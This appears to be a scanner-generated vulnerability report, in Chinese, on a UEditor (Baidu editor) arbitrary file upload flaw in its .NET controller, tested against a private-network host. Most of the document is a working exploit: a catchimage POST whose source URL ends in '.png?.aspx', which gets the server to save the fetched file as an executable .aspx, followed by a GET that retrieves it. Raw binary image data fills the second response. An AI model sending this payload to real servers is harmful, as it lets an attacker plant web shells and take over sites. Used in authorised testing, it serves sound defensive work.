百度编辑器上传测试存在ueditor 文件上传漏洞

漏洞地址： http://192.168.0.138:81
漏洞详情：
一共1组payload:
第1组payload共发送2次请求:
发送第1次请求:
请求数据包：
POST /net/controller.ashx?action=catchimage HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Host: 192.168.0.138:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
source[]=http://192.168.0.138:81/net/upload/image/20230303/6381345665059378488124281.png?.aspx
请求响应包：
HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
Date: Fri, 03 Mar 2023 09:52:06 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 206
Cache-Control: private
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://192.168.0.138:81/net/upload/image/20230303/6381345665059378488124281.png?.aspx","url":"upload/image/20230303/6381346272770925879437944.aspx"}]}
漏洞存在判断条件：
response.status == 200
结果：
存在漏洞
发送第2次请求:
请求数据包：
GET /net/upload/image/20230303/6381346272770925879437944.aspx HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Host: 192.168.0.138:81
请求响应包：
HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
Date: Fri, 03 Mar 2023 09:52:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1957
Cache-Control: private
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
�PNG
�
���
IHDR�������F�����\_G�S����sRGB���������gAMA������a���� pHYs����������o�d����IDATx^�;V�@�E�����������������
�&�<�g���fp�X����3����zį��Z@.�&��� ��h����@.�&��� ��h����@.�&��� ��h����@.�&��� ��h����@.�&��� ��h����@.�&����������\]]-��ϟ5�=�N.Iuss����Ϛ�������?����e������\���{������������=����H�R��dOOO\_�.//?D�(��ϖ�C���w�U�U�ޢ�
����]SFu���'v�Ƭ乐k;�:����V3k����%�8��kt���I�(�B=��թ-��戨���g7r��x����N��nu2<<<l�k4Ǭ8�Y.�U�QQ?������᪂�w��M���e��kd�g�έ0g 2�~�o�T�9�k�����Ө��������!�����P�����8Csf�f'H�;����n)a������9�0���i����^���?�E� }��n)����L1�?}rE�����������pr��P�`UrUl�g�����w-��'ɚ\����Z��,���v=x���}z����������N�SB�� �+�
���Re�����/2i��sr����d,�Op��،�Q���#��e4��إ\kAt�fr��O�5�ܞ���UHU,��ϫ2ۯ�}�9��k1ս�<��H��k���䚖YX�����\�����8�,׹'���d��~F}U���h�Q�J�S��w8�
|\*UAt[�c&W�l��,�km:��
v�\_u�����hLu��^��h\_�u��
��,��]IT���'���GFm�ORD��ڪw�(W�m��ק��F�%�u���?�'%�HA���瀺d�0�����k��!<g\{�����X;���F�#�\�jS����\��sN.�[a?eO����r�2>�+��^֤Q;r�ٝ\�?�r�4�\�M �@�����r�4�\�M �@�����r�4�\�M �@�����r�4�\�M �@�����r�4�\�M �@�����r�4�\�M �@�����r�4�\�M �@�����r�4�\�-,��qI�&��������IEND�B`�
漏洞存在判断条件：
response.status == 200
结果：
存在漏洞